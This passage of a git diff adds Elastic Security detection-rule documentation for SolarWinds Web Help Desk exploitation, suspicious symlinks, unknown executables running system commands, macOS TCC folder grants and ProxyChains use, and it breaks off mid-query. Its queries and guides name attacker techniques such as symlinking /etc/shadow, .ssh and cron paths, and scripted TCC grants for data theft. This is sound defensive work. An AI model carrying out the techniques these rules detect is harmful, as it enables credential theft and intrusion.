https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/ +* https://github.com/rapid7/metasploit-framework/pull/20917 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, validate the guidance and adapt it to your environment and operational requirements. + + +*Investigating Suspicious SolarWinds Web Help Desk Java Module Load or Child Process"* + + +SolarWinds Web Help Desk is a Java-based, internet-facing application commonly deployed on Windows servers. +Recent vulnerabilities (CVE-2025-40536, CVE-2025-40551) allow unauthenticated attackers to exploit unsafe +deserialization and abuse SQLite extension loading to execute arbitrary native code within the Java process. + +This rule detects suspicious native module (DLL) loads by the Web Help Desk Java process, as well as +post-exploitation child process execution, both of which are strong indicators of successful exploitation. + + +*Possible investigation steps* + + +- Review the **process executable path** to confirm the activity originated from the Web Help Desk Java runtime (e.g., `WebHelpDesk\jre\bin\java.exe`). +- Examine the **loaded DLL path**: + - Pay special attention to DLLs loaded from UNC paths (e.g., `\\share\*.dll`) or temporary directories. + - Validate whether the DLL is unsigned or has an untrusted code signature. +- Review **network telemetry** around the time of the alert for outbound SMB connections (TCP 445) originating from the Java process. +- If a child process was spawned (e.g., `cmd.exe`, `powershell.exe`, `rundll32.exe`): + - Inspect command-line arguments for evidence of payload execution, staging, or persistence. +- Check system logs for additional indicators of compromise, including scheduled task creation, service installation, or persistence mechanisms. +- Determine the Web Help Desk version in use and confirm whether security patches addressing the relevant CVEs have been applied. + + +*False positive analysis* + + +- Legitimate Web Help Desk installations typically do not load arbitrary native extensions at runtime. False positives are expected to be rare. +- Custom integrations or troubleshooting activities that involve native JDBC extensions could trigger this rule. Validate whether such behavior is expected in your environment. +- Security software or backup agents interacting with Java processes may occasionally load signed native libraries; verify the DLL origin and signature before dismissing the alert. + + +*Response and remediation* + + +- Treat this alert as a **high-confidence compromise indicator** if the DLL is untrusted or loaded from a remote path. +- Isolate the affected host to prevent further lateral movement or payload staging. +- Terminate suspicious child processes and capture memory artifacts if possible for forensic analysis. +- Remove any malicious files identified on disk and review persistence mechanisms. +- Apply the latest SolarWinds Web Help Desk security updates addressing CVE-2025-40536 and CVE-2025-40551. +- Conduct a broader environment sweep to identify other potentially vulnerable or compromised Web Help Desk instances. +- Escalate the incident to the security operations or incident response team for full containment and remediation. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + (event.category == "library" and + process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe") and + (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or + + (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and + process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-symbolic-link-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-symbolic-link-created.asciidoc new file mode 100644 index 0000000000..56fa6d7f10 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-symbolic-link-created.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-suspicious-symbolic-link-created]] +=== Suspicious Symbolic Link Created + +Identifies the creation of a symbolic link to a suspicious file or location. A symbolic link is a reference to a file or directory that acts as a pointer or shortcut, allowing users to access the target file or directory from a different location in the file system. An attacker can potentially leverage symbolic links for privilege escalation by tricking a privileged process into following the symbolic link to a sensitive file, giving the attacker access to data or capabilities they would not normally have. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Symbolic Link Created* + + +Symbolic links in Linux are shortcuts that point to files or directories, facilitating easy access. Adversaries may exploit these links to redirect privileged processes to sensitive files, potentially escalating privileges or accessing restricted data. The detection rule identifies suspicious link creation by monitoring the execution of the 'ln' command with specific arguments and targets, especially when initiated by non-root users, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the 'ln' command with suspicious arguments such as "-s" or "-sf" and verify the target files or directories listed in the query, like "/etc/shadow" or "/bin/bash". +- Check the user and group IDs associated with the process to ensure they are not root (ID "0"), as the rule specifically targets non-root users. +- Investigate the parent process name to determine if it is one of the shell processes listed in the query, such as "bash" or "zsh", which might indicate a user-initiated action. +- Examine the working directory and arguments to identify if the symbolic link creation is targeting sensitive locations like "/etc/cron.d/*" or "/home/*/.ssh/*". +- Analyze the user's recent activity and command history to understand the context and intent behind the symbolic link creation. +- Correlate this event with other security alerts or logs to identify any patterns or additional suspicious activities involving the same user or system. + + +*False positive analysis* + + +- Non-root users creating symbolic links for legitimate administrative tasks may trigger the rule. To manage this, identify and whitelist specific users or groups who regularly perform these tasks without malicious intent. +- Automated scripts or applications that use symbolic links for configuration management or software deployment might be flagged. Review these processes and exclude them by specifying the script or application names in the detection rule. +- Development environments where symbolic links are used to manage dependencies or version control can cause false positives. Exclude directories or processes associated with these environments to prevent unnecessary alerts. +- Backup or synchronization tools that create symbolic links as part of their operation may be mistakenly identified. Identify these tools and add exceptions for their typical execution patterns. +- System maintenance activities that involve symbolic link creation, such as linking to shared libraries or binaries, should be reviewed and excluded if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the attacker. +- Terminate any suspicious processes related to the 'ln' command that are identified in the alert to stop any ongoing malicious activity. +- Conduct a thorough review of the symbolic links created, especially those pointing to sensitive files or directories, and remove any unauthorized or suspicious links. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack, focusing on those with elevated privileges. +- Restore any altered or compromised files from a known good backup to ensure system integrity and prevent further exploitation. +- Implement additional monitoring and logging for symbolic link creation and other related activities to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "ln" and process.args in ("-s", "-sf") and + ( + /* suspicious files */ + (process.args in ("/etc/shadow", "/etc/shadow-", "/etc/shadow~", "/etc/gshadow", "/etc/gshadow-") or + (process.working_directory == "/etc" and process.args in ("shadow", "shadow-", "shadow~", "gshadow", "gshadow-"))) or + + /* suspicious bins */ + (process.args in ("/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh", "/bin/zsh", "/bin/ksh", "/bin/fish") or + (process.working_directory == "/bin" and process.args : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"))) or + (process.args in ("/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh", "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish") or + (process.working_directory == "/usr/bin" and process.args in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"))) or + + /* suspicious locations */ + (process.args : ("/etc/cron.d/*", "/etc/cron.daily/*", "/etc/cron.hourly/*", "/etc/cron.weekly/*", "/etc/cron.monthly/*")) or + (process.args : ("/home/*/.ssh/*", "/root/.ssh/*","/etc/sudoers.d/*", "/dev/shm/*")) + ) and + process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not user.Ext.real.id == "0" and not group.Ext.real.id == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc new file mode 100644 index 0000000000..c4c4db34e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-20-suspicious-system-commands-executed-by-previously-unknown-executable]] +=== Suspicious System Commands Executed by Previously Unknown Executable + +This rule monitors for the execution of several commonly used system commands executed by a previously unknown executable located in commonly abused directories. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to run malicious code. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious System Commands Executed by Previously Unknown Executable* + + +In Linux environments, system commands are essential for managing processes and configurations. Adversaries exploit this by executing commands via unknown executables in vulnerable directories, aiming to run unauthorized code. The detection rule identifies such anomalies by monitoring command executions from unfamiliar sources, excluding known safe processes, thus highlighting potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process.executable path to determine if it is located in a commonly abused directory such as /tmp, /dev/shm, or /var/tmp, which may indicate malicious intent. +- Examine the process.args to identify which specific system command was executed (e.g., hostname, id, ifconfig) and assess whether its execution is typical for the system's normal operations. +- Check the process.parent.executable to understand the parent process that initiated the suspicious command execution, ensuring it is not a known safe process or a legitimate system service. +- Investigate the user account associated with the process to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities that may indicate a broader compromise. +- Assess the risk score and severity in the context of the environment to prioritize the investigation and response efforts accordingly. + + +*False positive analysis* + + +- System maintenance scripts or automated tasks may trigger alerts if they execute common system commands from directories like /tmp or /var/tmp. To handle this, identify these scripts and add their executables to the exclusion list. +- Custom user scripts that perform routine checks using commands like ls or ps might be flagged. Review these scripts and consider adding their paths to the known safe processes to prevent unnecessary alerts. +- Development or testing environments often use temporary executables in directories such as /dev/shm. If these are known and non-threatening, include their paths in the exception list to reduce false positives. +- Some monitoring tools or agents might execute commands like uptime or whoami from non-standard locations. Verify these tools and update the exclusion criteria to include their executables or parent processes. +- In environments with containerized applications, processes running from /run/containerd or similar paths might be incorrectly flagged. Ensure these paths are accounted for in the exclusion settings if they are part of legitimate operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the alert, especially those originating from unknown executables in commonly abused directories. +- Conduct a thorough review of the affected directories (e.g., /tmp, /var/tmp, /dev/shm) to identify and remove any unauthorized or malicious files or executables. +- Restore any altered system configurations or files from a known good backup to ensure system integrity. +- Implement stricter access controls and permissions on the directories identified in the alert to prevent unauthorized executable placement. +- Monitor the system for any signs of persistence mechanisms, such as cron jobs or startup scripts, and remove any that are unauthorized. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.action:(exec or exec_event or fork or fork_event) and +process.executable:(* and ( + /etc/crontab or /bin/* or /boot/* or /dev/shm/* or /etc/cron.*/* or /etc/init.d/* or /etc/rc*.d/* or /etc/update-motd.d/* or + /home/*/.* or /tmp/* or /usr/bin/* or /usr/lib/update-notifier/* or /usr/share/* or /var/tmp/* or /sbin/* or /usr/sbin/* or + /usr/local/sbin/* or /usr/local/bin/* or /var/lib/* or /var/run/* or /var/cache/* or /var/log/* or /dev/shm/* or /var/tmp/* +) and not /tmp/go-build*) and +process.args:(hostname or id or ifconfig or ls or netstat or ps or pwd or route or top or uptime or whoami) and +not (process.name: + (apt or dnf or docker or dockerd or dpkg or hostname or id or ls or netstat or ps or pwd or rpm or snap or + snapd or sudo or top or uptime or which or whoami or yum or sh or bash or ip or dash or find or podman or env or + busybox or aws or timeout or nmcli or dpkg-query or nsenter or pw-cli or node or npm or gnome-calculator or pidof or + steamerrorreporter or ssh or grep or xargs or apt-get or numactl or entrypoint or flatpak-spawn or logger or command or + login or sshpass or docker-compose or whereis or rbd or basename or ifconfig or tar or crictl or su) or +process.parent.executable:( + /opt/cassandra/bin/cassandra or /opt/nessus/sbin/nessusd or /opt/nessus_agent/sbin/nessus-agent-module or /opt/puppetlabs/puppet/bin/puppet or + /opt/puppetlabs/puppet/bin/ruby or /usr/libexec/platform-python or /usr/local/cloudamize/bin/CCAgent or /usr/sbin/sshd or /bin/* or + /etc/network/* or /opt/Elastic/* or /opt/TrendMicro* or /opt/aws/* or /opt/eset/* or /opt/rapid7/* or /run/containerd/* or /run/k3s/* or + /snap/* or /tmp/dpkg-licenses* or /tmp/newroot/* or /usr/bin/* or /var/lib/amagent/* or /var/lib/docker/* or /vz/* or + "/usr/sbin/sshd" or "./runc" or "/opt/gitlab/embedded/bin/ruby" or /opt/saltstack/salt/bin/python* or "/usr/lib/rabbitmq/bin/rabbitmqctl" + ) or + process.executable:(/run/containerd/* or /srv/snp/docker/* or /tmp/.criu*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-tcc-access-granted-for-user-folders.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-tcc-access-granted-for-user-folders.asciidoc new file mode 100644 index 0000000000..c20f70a998 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-tcc-access-granted-for-user-folders.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-suspicious-tcc-access-granted-for-user-folders]] +=== Suspicious TCC Access Granted for User Folders + +Detects when TCC access is granted for multiple user folders like Desktop, Downloads and Documents in quick succession. Many information stealers require TCC permissions to access these locations and will prompt users to grant access for data exfiltration. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious TCC Access Granted for User Folders* + + +The Transparency, Consent, and Control (TCC) framework is macOS's privacy protection mechanism that controls application access to sensitive resources like the Desktop, Documents, and Downloads folders. Threat actors may manipulate the TCC database to grant unauthorized access to these protected locations, enabling data theft without triggering user consent prompts. This detection rule identifies when scripting interpreters or command-line tools create multiple TCC permission grants in rapid succession, indicating potential automated TCC manipulation. + + +*Possible investigation steps* + + +- Review the Effective_process.name and Effective_process.executable fields to identify which process is creating TCC permission grants and assess whether this is expected behavior. +- Examine the Tcc.service values to understand which protected folders (Desktop, Documents, Downloads) were granted access and evaluate the sensitivity of data in those locations. +- Investigate the Effective_process.parent.executable and command_line to trace how the TCC-modifying process was launched and identify the initial execution vector. +- Review the timing and count of TCC grants to determine if this is an automated batch operation characteristic of malicious activity. +- Check the TCC.db database directly using sqlite3 to review all permission grants and identify any unauthorized entries. +- Correlate with file access events to determine if the granted permissions were subsequently used to access sensitive data. +- Review the user.name associated with the activity and verify whether they would have legitimate reasons to grant these permissions. + + +*False positive analysis* + + +- Legitimate applications during first launch or installation may request TCC access, but typically through standard user prompts rather than direct database modification. Verify if application installation was expected. +- Enterprise MDM solutions may configure TCC permissions during device setup or policy enforcement. Confirm with IT operations if MDM deployments were scheduled. +- Automation and scripting workflows may require TCC access for legitimate file operations. Review with the script owner to confirm legitimacy. +- System administration tasks may involve TCC manipulation for specific operational requirements. Verify with IT staff before dismissing. + + +*Response and remediation* + + +- Immediately revoke the unauthorized TCC access grants by removing the malicious entries from the TCC.db database or resetting TCC permissions for the affected application. +- Terminate the suspicious process that created the TCC grants and prevent it from restarting. +- Isolate the affected macOS system to prevent potential data exfiltration using the newly granted permissions. +- Conduct a forensic review of file access events to determine if sensitive data was accessed using the unauthorized TCC permissions. +- Scan the system for additional malware, persistence mechanisms, or indicators of compromise. +- Reset TCC permissions to their default state using tccutil reset or by deleting and recreating the TCC.db database. +- Review other systems in the environment for similar TCC manipulation activity. +- Escalate to the incident response team for comprehensive investigation if data theft is suspected. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.* +| WHERE host.os.type == "macos" + AND event.action == "tcc_modify" + AND Tcc.right == "allowed" + AND Tcc.update_type == "create" + AND Tcc.service IN ("SystemPolicyDocumentsFolder", "SystemPolicyDownloadsFolder", "SystemPolicyDesktopFolder") + AND Effective_process.name RLIKE "(bash|zsh|sh|osascript|python.*|perl.*|ruby.*|node|Terminal|iTerm2|ghostty)" +| STATS + Esql.grant_count = COUNT(*), + Esql.unique_folders = COUNT_DISTINCT(Tcc.service), + Esql.folders = VALUES(Tcc.service) + BY Effective_process.entity_id, Effective_process.executable, host.name, user.name +| WHERE Esql.unique_folders >= 2 +| KEEP Esql.*, Effective_process.entity_id, Effective_process.executable, host.name, user.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-utility-launched-via-proxychains.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-utility-launched-via-proxychains.asciidoc new file mode 100644 index 0000000000..61ac8c8e36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-utility-launched-via-proxychains.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-20-suspicious-utility-launched-via-proxychains]] +=== Suspicious Utility Launched via ProxyChains + +This rule monitors for the execution of suspicious linux tools through ProxyChains. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Utility Launched via ProxyChains* + + +Attackers can leverage `proxychains` to obfuscate their origin and bypass network defenses by routing their malicious traffic through multiple intermediary servers. + +This rule looks for a list of suspicious processes spawned through `proxychains` by analyzing process command line arguments. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate network obfuscation. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = 